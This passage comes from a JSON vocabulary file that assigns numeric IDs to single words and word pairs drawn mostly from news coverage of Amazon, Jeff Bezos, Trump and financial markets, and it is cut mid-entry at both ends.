103310,\n  \"technology leaders\": 103311,\n  \"china grove\": 103312,\n  \"spoke ahead\": 103313,\n  \"reed uncovered\": 103314,\n  \"dot\": 103315,\n  \"warren destroys\": 103316,\n  \"processed\": 103317,\n  \"catchall ministry\": 103318,\n  \"auditors\": 103319,\n  \"day centers\": 103320,\n  \"president allies\": 103321,\n  \"best offers\": 103322,\n  \"washington imposed\": 103323,\n  \"clashing\": 103324,\n  \"tcja slashed\": 103325,\n  \"amazon intense\": 103326,\n  \"ridiculous\": 103327,\n  \"jane mayer\": 103328,\n  \"voting sites\": 103329,\n  \"videoplayer\": 103330,\n  \"alphabet cigarettes\": 103331,\n  \"trump alec\": 103332,\n  \"trump tape\": 103333,\n  \"reporter say\": 103334,\n  \"remains returned\": 103335,\n  \"squali\": 103336,\n  \"england finland\": 103337,\n  \"house veterans\": 103338,\n  \"download follow\": 103339,\n  \"controversies amazon\": 103340,\n  \"selecting\": 103341,\n  \"consider mark\": 103342,\n  \"really pushing\": 103343,\n  \"googled\": 103344,\n  \"fluid motion\": 103345,\n  \"amazon confirmed\": 103346,\n  \"filmmaker dinesh\": 103347,\n  \"celsius scales\": 103348,\n  \"global perspective\": 103349,\n  \"final joke\": 103350,\n  \"really haven\": 103351,\n  \"bryan politico\": 103352,\n  \"reported won\": 103353,\n  \"tariff\": 103354,\n  \"beeman\": 103355,\n  \"bobbie\": 103356,\n  \"rosalind connor\": 103357,\n  \"perfect\": 103358,\n  \"executed profitably\": 103359,\n  \"suggested reordering\": 103360,\n  \"uw\": 103361,\n  \"open rebellion\": 103362,\n  \"process philadelphia\": 103363,\n  \"local levels\": 103364,\n  \"hitting 5000\": 103365,\n  \"dulles international\": 103366,\n  \"act according\": 103367,\n  \"shift nike\": 103368,\n  \"ge did\": 103369,\n  \"party photo\": 103370,\n  \"sommer\": 103371,\n  \"rates netflix\": 103372,\n  \"lack subway\": 103373,\n  \"high hasn\": 103374,\n  \"hooray isn\": 103375,\n  \"debt kim\": 103376,\n  \"junkies\": 103377,\n  \"called head\": 103378,\n  \"drunken state\": 103379,\n  \"griffeth thank\": 103380,\n  \"1535999249\": 103381,\n  \"entire stake\": 103382,\n  \"think thank\": 103383,\n  \"fox hbo\": 103384,\n  \"great run\": 103385,\n  \"democrats amazon\": 103386,\n  \"spain\": 103387,\n  \"simplification\": 103388,\n  \"summit houston\": 103389,\n  \"pelosi criticize\": 103390,\n  \"conflated lack\": 103391,\n  \"including sourcing\": 103392,\n  \"rung left\": 103393,\n  \"galleria\": 103394,\n  \"month mandating\": 103395,\n  \"ohkarb7dbf michael\": 103396,\n  \"chief fired\": 103397,\n  \"discerning\": 103398,\n  \"arthouse\": 103399,\n  \"behavior trump\": 103400,\n  \"unflattering stories\": 103401,\n  \"life fox\": 103402,\n  \"assembly education\": 103403,\n  \"granted license\": 103404,\n  \"gen digital\": 103405,\n  \"fincl advisors\": 103406,\n  \"sanders launch\": 103407,\n  \"postgeorge\": 103408,\n  \"treasurer vermont\": 103409,\n  \"aapl free\": 103410,\n  \"president good\": 103411,\n  \"presidential attention\": 103412,\n  \"ch\": 103413,\n  \"storage according\": 103414,\n  \"china don\": 103415,\n  \"business business\": 103416,\n  \"accurate articles\": 103417,\n  \"expected lady\": 103418,\n  \"attack remembrance\": 103419,\n  \"holding signs\": 103420,\n  \"president accusations\": 103421,\n  \"washington free\": 103422,\n  \"asked queens\": 103423,\n  \"day waiting\": 103424,\n  \"equally important\": 103425,\n  \"freeze hunterdon\": 103426,\n  \"influence think\": 103427,\n  \"skyrocket news\": 103428,\n  \"support sit\": 103429,\n  \"tim fernholz\": 103430,\n  \"revoking security\": 103431,\n  \"sweet nothings\": 103432,\n  \"af\": 103433,\n  \"amazon rising\": 103434,\n  \"reporters outside\": 103435,\n  \"policing facebook\": 103436,\n  \"babis babis\": 103437,\n  \"thoughtful mature\": 103438,\n  \"bee aired\": 103439,\n  \"prime prime\": 103440,\n  \"funding virtually\": 103441,\n  \"reliance industries\": 103442,\n  \"spent time\": 103443,\n  \"amid widespread\": 103444,\n  \"sized vendors\": 103445,\n  \"policy ebony\": 103446,\n  \"disliking\": 103447,\n  \"decreased slightly\": 103448,\n  \"total debt\": 103449,\n  \"biolite\": 103450,\n  \"alike based\": 103451,\n  \"played bezos\": 103452,\n  \"marriage divorce\": 103453,\n  \"public disagreement\": 103454,\n  \"independents ranked\": 103455,\n  \"members met\": 103456,\n  \"rubinstein\": 103457,\n  \"run negative\": 103458,\n  \"opinion blackstone\": 103459,\n  \"amazon extraordinarily\": 103460,\n  \"minding\": 103461,\n  \"leave pets\": 103462,\n  \"social fabric\": 103463,\n  \"achieve savings\": 103464,\n  \"people facebook\": 103465,\n  \"northjersey\": 103466,\n  \"cards netflix\": 103467,\n  \"service storefronts\": 103468,\n  \"act signed\": 103469,\n  \"ceo dara\": 103470,\n  \"husband us137\": 103471,\n  \"axiom\": 103472,\n  \"quiet deals\": 103473,\n  \"piss\": 103474,\n  \"aide releases\": 103475,\n  \"grocery jewelry\": 103476,\n  \"experts say\": 103477,\n  \"risky trade\": 103478,\n  \"tapes aug\": 103479,\n  \"executive began\": 103480,\n  \"biodiversity focused\": 103481,\n  \"old strange\": 103482,\n  \"abrupt change\": 103483,\n  \"downsides\": 103484,\n  \"controls frightening\": 103485,\n  \"says wholesale\": 103486,\n  \"bezos intently\": 103487,\n  \"comment download\": 103488,\n  \"pecker reached\": 103489,\n  \"included 98point6\": 103490,\n  \"advchart frames\": 103491,\n  \"putnam county\": 103492,\n  \"contaminants\": 103493,\n  \"life involves\": 103494,\n  \"supply firms\": 103495,\n  \"1965 2005\": 103496,\n  \"352 403\": 103497,\n  \"500 improvement\": 103498,\n  \"presidential joining\": 103499,\n  \"development worth\": 103500,\n  \"trumpxi\": 103501,\n  \"eater investigative\": 103502,\n  \"various ethnicities\": 103503,\n  \"dr sima\": 103504,\n  \"crash chick\": 103505,\n  \"refiners\": 103506,\n  \"agents want\": 103507,\n  \"money subsidizing\": 103508,\n  \"wonderstruck\": 103509,\n  \"amazon reacting\": 103510,\n  \"entrepreneurial\": 103511,\n  \"trump writes\": 103512,\n  \"targeted search\": 103513,\n  \"accelerator\": 103514,\n  \"coordinated response\": 103515,\n  \"fleets\": 103516,\n  \"barr california\": 103517,\n  \"environment ministry\": 103518,\n  \"debate khanna\": 103519,\n  \"typical commercial\": 103520,\n  \"trump brush\": 103521,\n  \"samsung violated\": 103522,\n  \"news reported\": 103523,\n  \"nationwide manhunt\": 103524,\n  \"prest\": 103525,\n  \"dysfunction corruption\": 103526,\n  \"gone wrong\": 103527,\n  \"launch micro\": 103528,\n  \"silence criticism\": 103529,\n  \"emenville\": 103530,\n  \"bloomberg tracks\": 103531,\n  \"great number\": 103532,\n  \"shooters streamline\": 103533,\n  \"packages drawing\": 103534,\n  \"2nmdtyd6sv don\": 103535,\n  \"consumer growth\": 103536,\n  \"viable package\": 103537,\n  \"welfare education\": 103538,\n  \"blocking articles\": 103539,\n  \"cheek\": 103540,\n  \"curbing homelessness\": 103541,\n  \"worth amounting\": 103542,\n  \"sector helped\": 103543,\n  \"jc\": 103544,\n  \"arrested shortly\": 103545,\n  \"market valuation\": 103546,\n  \"seattle offer\": 103547,\n  \"successful investors\": 103548,\n  \"financial settlements\": 103549,\n  \"prematurely terminate\": 103550,\n  \"answered update\": 103551,\n  \"assistance govpredict\": 103552,\n  \"city bolduan\": 103553,\n  \"blackmail read\": 103554,\n  \"clark adventure\": 103555,\n  \"analyst larry\": 103556,\n  \"various providers\": 103557,\n  \"jet crash\": 103558,\n  \"autonomous vehicles\": 103559,\n  \"amazon doesnt\": 103560,\n  \"icymi bezos\": 103561,\n  \"computing businesses\": 103562,\n  \"white nationalists\": 103563,\n  \"indian entrepreneur\": 103564,\n  \"dance performer\": 103565,\n  \"man touches\": 103566,\n  \"media south\": 103567,\n  \"jackie\": 103568,\n  \"goods nearly\": 103569,\n  \"time fan\": 103570,\n  \"contributors\": 103571,\n  \"larger initiative\": 103572,\n  \"marriott pledges\": 103573,\n  \"apps senate\": 103574,\n  \"jersey new\": 103575,\n  \"scaling amazon\": 103576,\n  \"label product\": 103577,\n  \"bartender ocasio\": 103578,\n  \"sites reinsurance\": 103579,\n  \"post does\": 103580,\n  \"hanson cited\": 103581,\n  \"going southbound\": 103582,\n  \"low age\": 103583,\n  \"deblasio placing\": 103584,\n  \"outdo competitors\": 103585,\n  \"oct 2016\": 103586,\n  \"motivation fit\": 103587,\n  \"hated deal\": 103588,\n  \"select titles\": 103589,\n  \"buying new\": 103590,\n  \"looking seriously\": 103591,\n  \"horse head\": 103592,\n  \"reduced holdings\": 103593,\n  \"tennessee zucker\": 103594,\n  \"company agreed\": 103595,\n  \"launch antitrust\": 103596,\n  \"york long\": 103597,\n  \"workday pay\": 103598,\n  \"ages disney\": 103599,\n  \"lengths\": 103600,\n  \"occ actually\": 103601,\n  \"car engines\": 103602,\n  \"lc owns\": 103603,\n  \"contractor\": 103604,\n  \"shares boston\": 103605,\n  \"liable\": 103606,\n  \"current trade\": 103607,\n  \"euromonitor\": 103608,\n  \"package items\": 103609,\n  \"taylor swift\": 103610,\n  \"remain optimistic\": 103611,\n  \"whew\": 103612,\n  \"going crazy\": 103613,\n  \"sweetening\": 103614,\n  \"thriller game\": 103615,\n  \"leonhardt amazon\": 103616,\n  \"stocks continue\": 103617,\n  \"streetwear collection\": 103618,\n  \"cia deal\": 103619,\n  \"zhou dynasty\": 103620,\n  \"vacations adam\": 103621,\n  \"buh\": 103622,\n  \"positive amazon\": 103623,\n  \"parallels aug\": 103624,\n  \"executives nearly\": 103625,\n  \"study results\": 103626,\n  \"ofphone\": 103627,\n  \"2019 jumaane\": 103628,\n  \"impeachment scandal\": 103629,\n  \"taron\": 103630,\n  \"amazon cfo\": 103631,\n  \"security gavin\": 103632,\n  \"tariff firing\": 103633,\n  \"streamlined user\": 103634,\n  \"private electric\": 103635,\n  \"policy processes\": 103636,\n  \"mcdougal\": 103637,\n  \"unlikely ally\": 103638,\n  \"edges atlantic\": 103639,\n  \"royalty fees\": 103640,\n  \"drawn criticism\": 103641,\n  \"privacy concerns\": 103642,\n  \"called vigilante\": 103643,\n  \"gtec\": 103644,\n  \"increasing package\": 103645,\n  \"yang master\": 103646,\n  \"trump angry\": 103647,\n  \"supported amazons\": 103648,\n  \"rung helped\": 103649,\n  \"poor treatment\": 103650,\n  \"adorned\": 103651,\n  \"state low\": 103652,\n  \"inspects\": 103653,\n  \"delicious\": 103654,\n  \"murphy right\": 103655,\n  \"don address\": 103656,\n  \"blackmail wrote\": 103657,\n  \"economically carbon\": 103658,\n  \"sweater variety\": 103659,\n  \"trump despising\": 103660,\n  \"tabloid expos\\u00e9\": 103661,\n  \"sources bloomberg\": 103662,\n  \"undated facebook\": 103663,\n  \"coming home\": 103664,\n  \"sarge\": 103665,\n  \"grateful\": 103666,\n  \"days hanging\": 103667,\n  \"income americans\": 103668,\n  \"expenses barclays\": 103669,\n  \"impeachment proceedings\": 103670,\n  \"bristowe\": 103671,\n  \"holiday spirit\": 103672,\n  \"strong majority\": 103673,\n  \"russian ties\": 103674,\n  \"expect metapack\": 103675,\n  \"focus right\": 103676,\n  \"openly lauding\": 103677,\n  \"brashear online\": 103678,\n  \"products small\": 103679,\n  \"report 2018\": 103680,\n  \"loan defaults\": 103681,\n  \"hazards minutes\": 103682,\n  \"ben carlson\": 103683,\n  \"meeting space\": 103684,\n  \"studio hardware\": 103685,\n  \"mere thought\": 103686,\n  \"patients stuck\": 103687,\n  \"chief donald\": 103688,\n  \"monetary woes\": 103689,\n  \"designed sens\": 103690,\n  \"ignition future\": 103691,\n  \"platforms measure\": 103692,\n  \"stunning architecture\": 103693,\n  \"hitler drumpf\": 103694,\n  \"palantir designed\": 103695,\n  \"southwest tropical\": 103696,\n  \"stop creating\": 103697,\n  \"office progressive\": 103698,\n  \"took long\": 103699,\n  \"average gain\": 103700,\n  \"tencent alibaba\": 103701,\n  \"adds protections\": 103702,\n  \"cracking\": 103703,\n  \"keaten\": 103704,\n  \"southwest mount\": 103705,\n  \"equities bloomberg\": 103706,\n  \"dish network\": 103707,\n  \"p7a\": 103708,\n  \"department spending\": 103709,\n  \"star xxxtentacion\": 103710,\n  \"medication adherence\": 103711,\n  \"develop technology\": 103712,\n  \"bathrooms sanders\": 103713,\n  \"swaying\": 103714,\n  \"plus charitable\": 103715,\n  \"complex political\": 103716,\n  \"living quarters\": 103717,\n  \"buy micron\": 103718,\n  \"fast changing\": 103719,\n  \"nbc nbcsn\": 103720,\n  \"make landfall\": 103721,\n  \"sam feist\": 103722,\n  \"shipping agreement\": 103723,\n  \"josh lipton\": 103724,\n  \"edges higher\": 103725,\n  \"greene right\": 103726,\n  \"islamic world\": 103727,\n  \"cold shoulder\": 103728,\n  \"day turned\": 103729,\n  \"multi billionaires\": 103730,\n  \"physical mail\": 103731,\n  \"mark groups\": 103732,\n  \"overwhelming worry\": 103733,\n  \"symbol 7203\": 103734,\n  \"deliver orders\": 103735,\n  \"righteous lawman\": 103736,\n  \"enquirer work\": 103737,\n  \"big tent\": 103738,\n  \"houses increased\": 103739,\n  \"kors chanel\": 103740,\n  \"large media\": 103741,\n  \"moody lead\": 103742,\n  \"million bias\": 103743,\n  \"freetime\": 103744,\n  \"says gene\": 103745,\n  \"reality devices\": 103746,\n  \"prevent infanticide\": 103747,\n  \"trust hurdles\": 103748,\n  \"authoritarian governments\": 103749,\n  \"new body\": 103750,\n  \"process question\": 103751,\n  \"organizer aaron\": 103752,\n  \"felix gallardo\": 103753,\n  \"settlements euro\": 103754,\n  \"mexico norway\": 103755,\n  \"newest collaboration\": 103756,\n  \"194 zach\": 103757,\n  \"new billion\": 103758,\n  \"cut initiative\": 103759,\n  \"australian inflation\": 103760,\n  \"axed\": 103761,\n  \"vuukle comments\": 103762,\n  \"food service\": 103763,\n  \"benefits offered\": 103764,\n  \"similar threats\": 103765,\n  \"alleged activities\": 103766,\n  \"ask associates\": 103767,\n  \"amazon helps\": 103768,\n  \"maryland sunny\": 103769,\n  \"actually benefits\": 103770,\n  \"long slow\": 103771,\n  \"american pot\": 103772,\n  \"better pharmacy\": 103773,\n  \"gallery 2019\": 103774,\n  \"mack\": 103775,\n  \"house majority\": 103776,\n  \"pressurize\": 103777,\n  \"egyptian afghan\": 103778,\n  \"taunted bezos\": 103779,\n  \"different days\": 103780,\n  \"185 806\": 103781,\n  \"armed employees\": 103782,\n  \"stock hits\": 103783,\n  \"dodges practised\": 103784,\n  \"citing sources\": 103785,\n  \"reordering\": 103786,\n  \"community investments\": 103787,\n  \"gizmodo according\": 103788,\n  \"amazon saw\": 103789,\n  \"signature upper\": 103790,\n  \"returns probably\": 103791,\n  \"national congress\": 103792,\n  \"start set\": 103793,\n  \"began apparently\": 103794,\n  \"famously bashed\": 103795,\n  \"trump online\": 103796,\n  \"experimenting\": 103797,\n  \"asoga freepressmedia\": 103798,\n  \"2018 brotopia\": 103799,\n  \"iconic director\": 103800,\n  \"global fulfillment\": 103801,\n  \"company abusing\": 103802,\n  \"including youtube\": 103803,\n  \"promo eoa\": 103804,\n  \"2080 ti\": 103805,\n  \"really different\": 103806,\n  \"week report\": 103807,\n  \"feature spicer\": 103808,\n  \"foot range\": 103809,\n  \"230 shares\": 103810,\n  \"nyassembly gov\": 103811,\n  \"sells products\": 103812,\n  \"kill bezos\": 103813,\n  \"cadre\": 103814,\n  \"health wellness\": 103815,\n  \"green eggs\": 103816,\n  \"nextplay currentvideocollection\": 103817,\n  \"drug order\": 103818,\n  \"coming forward\": 103819,\n  \"toughen\": 103820,\n  \"sebastian noel\": 103821,\n  \"var carousel\": 103822,\n  \"needed funds\": 103823,\n  \"government white\": 103824,\n  \"bogus paper\": 103825,\n  \"snl writers\": 103826,\n  \"unconscious\": 103827,\n  \"trump measure\": 103828,\n  \"quarter apple\": 103829,\n  \"agencies rekognition\": 103830,\n  \"battleground tracker\": 103831,\n  \"null authors\": 103832,\n  \"expensive technology\": 103833,\n  \"process pentagon\": 103834,\n  \"individual opportunity\": 103835,\n  \"great losers\": 103836,\n  \"republicans anti\": 103837,\n  \"deny responsibility\": 103838,\n  \"reluctant downtown\": 103839,\n  \"using certain\": 103840,\n  \"entrepreneur contributors\": 103841,\n  \"giving employees\": 103842,\n  \"nyt haberman\": 103843,\n  \"way short\": 103844,\n  \"needed fresh\": 103845,\n  \"monopoly maybe\": 103846,\n  \"death row\": 103847,\n  \"fold\": 103848,\n  \"data export\": 103849,\n  \"existent federal\": 103850,\n  \"muckerman beating\": 103851,\n  \"department officialsin\": 103852,\n  \"tweeted\": 103853,\n  \"phony items\": 103854,\n  \"radio interview\": 103855,\n  \"conspiracy group\": 103856,\n  \"4c11b827\": 103857,\n  \"orbit including\": 103858,\n  \"mounts residents\": 103859,\n  \"apocalyptic industrial\": 103860,\n  \"judge people\": 103861,\n  \"record high\": 103862,\n  \"sales away\": 103863,\n  \"love rekindling\": 103864,\n  \"chart shown\": 103865,\n  \"story wendy\": 103866,\n  \"stocks gained\": 103867,\n  \"sarmiento\": 103868,\n  \"omissions\": 103869,\n  \"rocketship maker\": 103870,\n  \"suqar\": 103871,\n  \"lenovo\": 103872,\n  \"boss privately\": 103873,\n  \"najarian fagna\": 103874,\n  \"major average\": 103875,\n  \"targets winner\": 103876,\n  \"source nationalinterest\": 103877,\n  \"list george\": 103878,\n  \"ninja antifa\": 103879,\n  \"remote jobs\": 103880,\n  \"paying local\": 103881,\n  \"toilet brush\": 103882,\n  \"praise following\": 103883,\n  \"stock price\": 103884,\n  \"occlusion\": 103885,\n  \"fx weakness\": 103886,\n  \"payer president\": 103887,\n  \"threats big\": 103888,\n  \"follow amazon\": 103889,\n  \"airtight\": 103890,\n  \"year local\": 103891,\n  \"mother amira\": 103892,\n  \"light diffusing\": 103893,\n  \"running rushing\": 103894,\n  \"day management\": 103895,\n  \"using visual\": 103896,\n  \"long deadly\": 103897,\n  \"honor police\": 103898,\n  \"ubhi bastardization\": 103899,\n  \"cloud startups\": 103900,\n  \"past bi\": 103901,\n  \"jpg 385x240\": 103902,\n  \"week ocasio\": 103903,\n  \"issue regulations\": 103904,\n  \"afterthought\": 103905,\n  \"attacks goldman\": 103906,\n  \"executive following\": 103907,\n  \"admittedly\": 103908,\n  \"k4a\": 103909,\n  \"launching devices\": 103910,\n  \"consider bad\": 103911,\n  \"law wall\": 103912,\n  \"bogged\": 103913,\n  \"incorrectly\": 103914,\n  \"adult opening\": 103915,\n  \"twitter founder\": 103916,\n  \"rushing\": 103917,\n  \"istoric area\": 103918,\n  \"darn\": 103919,\n  \"big data\": 103920,\n  \"employees driving\": 103921,\n  \"recently nokia\": 103922,\n  \"oz program\": 103923,\n  \"tom homan\": 103924,\n  \"showing trump\": 103925,\n  \"member body\": 103926,\n  \"stately\": 103927,\n  \"dead bootleg\": 103928,\n  \"emergency unlike\": 103929,\n  \"mother nursing\": 103930,\n  \"fa\": 103931,\n  \"hbo michael\": 103932,\n  \"dominance\": 103933,\n  \"comment cnet\": 103934,\n  \"discussed trade\": 103935,\n  \"amazon bears\": 103936,\n  \"mccain feels\": 103937,\n  \"trump low\": 103938,\n  \"shopping destination\": 103939,\n  \"screened\": 103940,\n  \"capra\": 103941,\n  \"sellers including\": 103942,\n  \"harassment\": 103943,\n  \"healy mary\": 103944,\n  \"launching campaigns\": 103945,\n  \"banking market\": 103946,\n  \"bloomington 42am\": 103947,\n  \"dreadful secrets\": 103948,\n  \"amazon hardware\": 103949,\n  \"queens greens\": 103950,\n  \"analysis gop\": 103951,\n  \"just little\": 103952,\n  \"navy base\": 103953,\n  \"beauty services\": 103954,\n  \"podcasts\": 103955,\n  \"supercharging\": 103956,\n  \"redfin\": 103957,\n  \"delivering sequel\": 103958,\n  \"cargill\": 103959,\n  \"sky videocmsurl\": 103960,\n  \"gaby\": 103961,\n  \"arctic sea\": 103962,\n  \"person new\": 103963,\n  \"new chief\": 103964,\n  \"negotiators robert\": 103965,\n  \"woes trump\": 103966,\n  \"troll dolls\": 103967,\n  \"various parties\": 103968,\n  \"announced date\": 103969,\n  \"kth trump\": 103970,\n  \"accept bezos\": 103971,\n  \"amazon gathered\": 103972,\n  \"ordered worldwide\": 103973,\n  \"costly deepwater\": 103974,\n  \"technology disruption\": 103975,\n  \"tycoon bezos\": 103976,\n  \"hakim\": 103977,\n  \"modern era\": 103978,\n  \"new a4\": 103979,\n  \"free trade\": 103980,\n  \"major scandal\": 103981,\n  \"collecting state\": 103982,\n  \"revenue surged\": 103983,\n  \"symbol pepe\": 103984,\n  \"suggests singular\": 103985,\n  \"fox assets\": 103986,\n  \"cohen cohen\": 103987,\n  \"amazon dsp\": 103988,\n  \"drugs topics\": 103989,\n  \"ramp kathleen\": 103990,\n  \"long story\": 103991,\n  \"atlantic city\": 103992,\n  \"isa believes\": 103993,\n  \"interested\": 103994,\n  \"subdivision barangay\": 103995,\n  \"kingdom team\": 103996,\n  \"appreciated\": 103997,\n  \"routers\": 103998,\n  \"175 billion\": 103999,\n  \"a4ee t8\": 104000,\n  \"andres manuel\": 104001,\n  \"previous interpretation\": 104002,\n  \"guns gay\": 104003,\n  \"photo philippe\": 104004,\n  \"major competitor\": 104005,\n  \"pejorative\": 104006,\n  \"miami\": 104007,\n  \"similar number\": 104008,\n  \"games teach\": 104009,\n  \"mcclain incorporated\": 104010,\n  \"collette john\": 104011,\n  \"long form\": 104012,\n  \"washington threw\": 104013,\n  \"emily stewart\": 104014,\n  \"amazon argues\": 104015,\n  \"build tall\": 104016,\n  \"etfs\": 104017,\n  \"nominate amazon\": 104018,\n  \"reported highlighting\": 104019,\n  \"popular professor\": 104020,\n  \"defamatory behaviour\": 104021,\n  \"putin tom\": 104022,\n  \"prestel publishing\": 104023,\n  \"term progresses\": 104024,\n  \"msft\": 104025,\n  \"ceo spent\": 104026,\n  \"algae\": 104027,\n  \"union percentage\": 104028,\n  \"york mets\": 104029,\n  \"harming american\": 104030,\n  \"correctly guessed\": 104031,\n  \"nn cnl_calcaccesplact_content_content\": 104032,\n  \"contractual safeguards\": 104033,\n  \"naipaul\": 104034,\n  \"piece puffy\": 104035,\n  \"naples returning\": 104036,\n  \"spanish fork\": 104037,\n  \"hit soon\": 104038,\n  \"bloomberg government\": 104039,\n  \"thomas edison\": 104040,\n  \"investigative team\": 104041,\n  \"cla appnexus\": 104042,\n  \"source6pm\": 104043,\n  \"democratic increasingly\": 104044,\n  \"nixed visit\": 104045,\n  \"obamas entered\": 104046,\n  \"2019 skynews\": 104047,\n  \"favourite weapon\": 104048,\n  \"punished\": 104049,\n  \"nextday delivery\": 104050,\n  \"tour amazon\": 104051,\n  \"chinese negotiators\": 104052,\n  \"ap doctors\": 104053,\n  \"buildings\": 104054,\n  \"jr patagonia\": 104055,\n  \"richard mills\": 104056,\n  \"hard copy\": 104057,\n  \"government history\": 104058,\n  \"russian asset\": 104059,\n  \"insofar\": 104060,\n  \"interference washington\": 104061,\n  \"make fair\": 104062,\n  \"store opens\": 104063,\n  \"year betsy\": 104064,\n  \"cbsnews huffingtonpost\": 104065,\n  \"county commissioners\": 104066,\n  \"firearms amazon\": 104067,\n  \"played significant\": 104068,\n  \"market kudlow\": 104069,\n  \"occupational therapy\": 104070,\n  \"questions michael\": 104071,\n  \"infancy\": 104072,\n  \"ben tracy\": 104073,\n  \"foldable\": 104074,\n  \"run innovation\": 104075,\n  \"morning week\": 104076,\n  \"textbooks\": 104077,\n  \"night bolding\": 104078,\n  \"privacy makes\": 104079,\n  \"608 shares\": 104080,\n  \"treatment amazon\": 104081,\n  \"produced new\": 104082,\n  \"indebted\": 104083,\n  \"glance government\": 104084,\n  \"mogul harvey\": 104085,\n  \"pancetta vegetarian\": 104086,\n  \"pubdate\": 104087,\n  \"2020 elections\": 104088,\n  \"2018 glenn\": 104089,\n  \"amazon quick\": 104090,\n  \"elon musks\": 104091,\n  \"update desk\": 104092,\n  \"fund portfolio\": 104093,\n  \"leon cooperman\": 104094,\n  \"tv living\": 104095,\n  \"business groups\": 104096,\n  \"donald trump\": 104097,\n  \"ass\": 104098,\n  \"different set\": 104099,\n  \"policies\": 104100,\n  \"latest medical\": 104101,\n  \"winning multiple\": 104102,\n  \"recent months\": 104103,\n  \"overpriced 2018\": 104104,\n  \"roy\": 104105,\n  \"carestream\": 104106,\n  \"listings number\": 104107,\n  \"contributing editor\": 104108,\n  \"10b5 greer\": 104109,\n  \"postal services\": 104110,\n  \"duplex\": 104111,\n  \"month published\": 104112,\n  \"unique gift\": 104113,\n  \"sold 200\": 104114,\n  \"intimate messages\": 104115,\n  \"battling identity\": 104116,\n  \"pace nearly\": 104117,\n  \"encourages new\": 104118,\n  \"carrier takes\": 104119,\n  \"described zionist\": 104120,\n  \"writes nisha\": 104121,\n  \"delivery entrepreneurs\": 104122,\n  \"quarter decidedly\": 104123,\n  \"1153 bought\": 104124,\n  \"cloud customers\": 104125,\n  \"trey\": 104126,\n  \"south jiatf\": 104127,\n  \"bin owned\": 104128,\n  \"loa\": 104129,\n  \"yamiche\": 104130,\n  \"disappoints 2018\": 104131,\n  \"juggernaut valued\": 104132,\n  \"amazon ir\": 104133,\n  \"known deus\": 104134,\n  \"primack\": 104135,\n  \"amply\": 104136,\n  \"compounding\": 104137,\n  \"lobbyist amid\": 104138,\n  \"company ny\": 104139,\n  \"assault\": 104140,\n  \"community needs\": 104141,\n  \"pacifica network\": 104142,\n  \"gonzalez mijente\": 104143,\n  \"security perspective\": 104144,\n  \"wolf trump\": 104145,\n  \"short run\": 104146,\n  \"market sell\": 104147,\n  \"great questions\": 104148,\n  \"electronic tolls\": 104149,\n  \"journal apple\": 104150,\n  \"liberty congress\": 104151,\n  \"herera\": 104152,\n  \"amazon brings\": 104153,\n  \"google straightforward\": 104154,\n  \"sponsors introduced\": 104155,\n  \"takeaways says\": 104156,\n  \"mickey mouse\": 104157,\n  \"commentator slash\": 104158,\n  \"patent\": 104159,\n  \"fast shipping\": 104160,\n  \"rhodes scholar\": 104161,\n  \"hacker\": 104162,\n  \"trolling\": 104163,\n  \"stanley kubrick\": 104164,\n  \"world kindness\": 104165,\n  \"spain new\": 104166,\n  \"breaching\": 104167,\n  \"francisco glad\": 104168,\n  \"level security\": 104169,\n  \"antonio author\": 104170,\n  \"old electric\": 104171,\n  \"poisons\": 104172,\n  \"knott\": 104173,\n  \"2fjeff\": 104174,\n  \"working aggressively\": 104175,\n  \"bezos photos\": 104176,\n  \"tax 350\": 104177,\n  \"sanders rolls\": 104178,\n  \"big premarket\": 104179,\n  \"bad bargain\": 104180,\n  \"operations pillpack\": 104181,\n  \"typeface view\": 104182,\n  \"deliveries charging\": 104183,\n  \"enterprise software\": 104184,\n  \"case testing\": 104185,\n  \"aws supply\": 104186,\n  \"mineral resources\": 104187,\n  \"written raise\": 104188,\n  \"missile base\": 104189,\n  \"novelist wife\": 104190,\n  \"ware\": 104191,\n  \"i4 i4\": 104192,\n  \"central terminal\": 104193,\n  \"delayed continuation\": 104194,\n  \"hirokazu\": 104195,\n  \"projects covering\": 104196,\n  \"praise\": 104197,\n  \"black stripe\": 104198,\n  \"snatch\": 104199,\n  \"trump president\": 104200,\n  \"consultant bezos\": 104201,\n  \"eevvf si\": 104202,\n  \"google confirmed\": 104203,\n  \"capacity buy\": 104204,\n  \"isgoing\": 104205,\n  \"panelists included\": 104206,\n  \"driven amazon\": 104207,\n  \"origin rocket\": 104208,\n  \"know searching\": 104209,\n  \"q3 quarter\": 104210,\n  \"money americans\": 104211,\n  \"pass level\": 104212,\n  \"najarian\": 104213,\n  \"organization members\": 104214,\n  \"regularly uses\": 104215,\n  \"specifically\": 104216,\n  \"oct\": 104217,\n  \"apple juice\": 104218,\n  \"damaging smaller\": 104219,\n  \"adl\": 104220,\n  \"someones invoke\": 104221,\n  \"ways khan\": 104222,\n  \"local merchants\": 104223,\n  \"parcel delivery\": 104224,\n  \"feeling dreaming\": 104225,\n  \"performed\": 104226,\n  \"speech markup\": 104227,\n  \"seriousness\": 104228,\n  \"scumbags\": 104229,\n  \"generalised sycophancy\": 104230,\n  \"earnest intent\": 104231,\n  \"khan argued\": 104232,\n  \"unlimited access\": 104233,\n  \"nyc office\": 104234,\n  \"\\u0627\\u0644\\u0639\\u0646\\u0640\\u0640\\u0640\\u0640\\u0648\\u062f a_140_\": 104235,\n  \"500 slips\": 104236,\n  \"says bounce\": 104237,\n  \"repatriate\": 104238,\n  \"left ton\": 104239,\n  \"haspel steve\": 104240,\n  \"fedex crude\": 104241,\n  \"county courthouse\": 104242,\n  \"increased regulation\": 104243,\n  \"irish brewer\": 104244,\n  \"japanese government\": 104245,\n  \"bomb runway\": 104246,\n  \"trump reaches\": 104247,\n  \"intercept suggests\": 104248,\n  \"technology company\": 104249,\n  \"recounted story\": 104250,\n  \"ian kullgren\": 104251,\n  \"minded heres\": 104252,\n  \"hurricane bezos\": 104253,\n  \"prevent people\": 104254,\n  \"talks beijing\": 104255,\n  \"accruing\": 104256,\n  \"overseas logistics\": 104257,\n  \"sadrzadeh\": 104258,\n  \"party leader\": 104259,\n  \"hurts american\": 104260,\n  \"company pay\": 104261,\n  \"annual losses\": 104262,\n  \"fixer turns\": 104263,\n  \"servicer says\": 104264,\n  \"chandler wapo\": 104265,\n  \"levels typically\": 104266,\n  \"cages department\": 104267,\n  \"settle compliance\": 104268,\n  \"story originally\": 104269,\n  \"jr mocked\": 104270,\n  \"seemingly keen\": 104271,\n  \"counties owing\": 104272,\n  \"early months\": 104273,\n  \"media organization\": 104274,\n  \"homeless shelters\": 104275,\n  \"election takeaways\": 104276,\n  \"supporting colombia\": 104277,\n  \"companies buy\": 104278,\n  \"senate control\": 104279,\n  \"bengaluru india\": 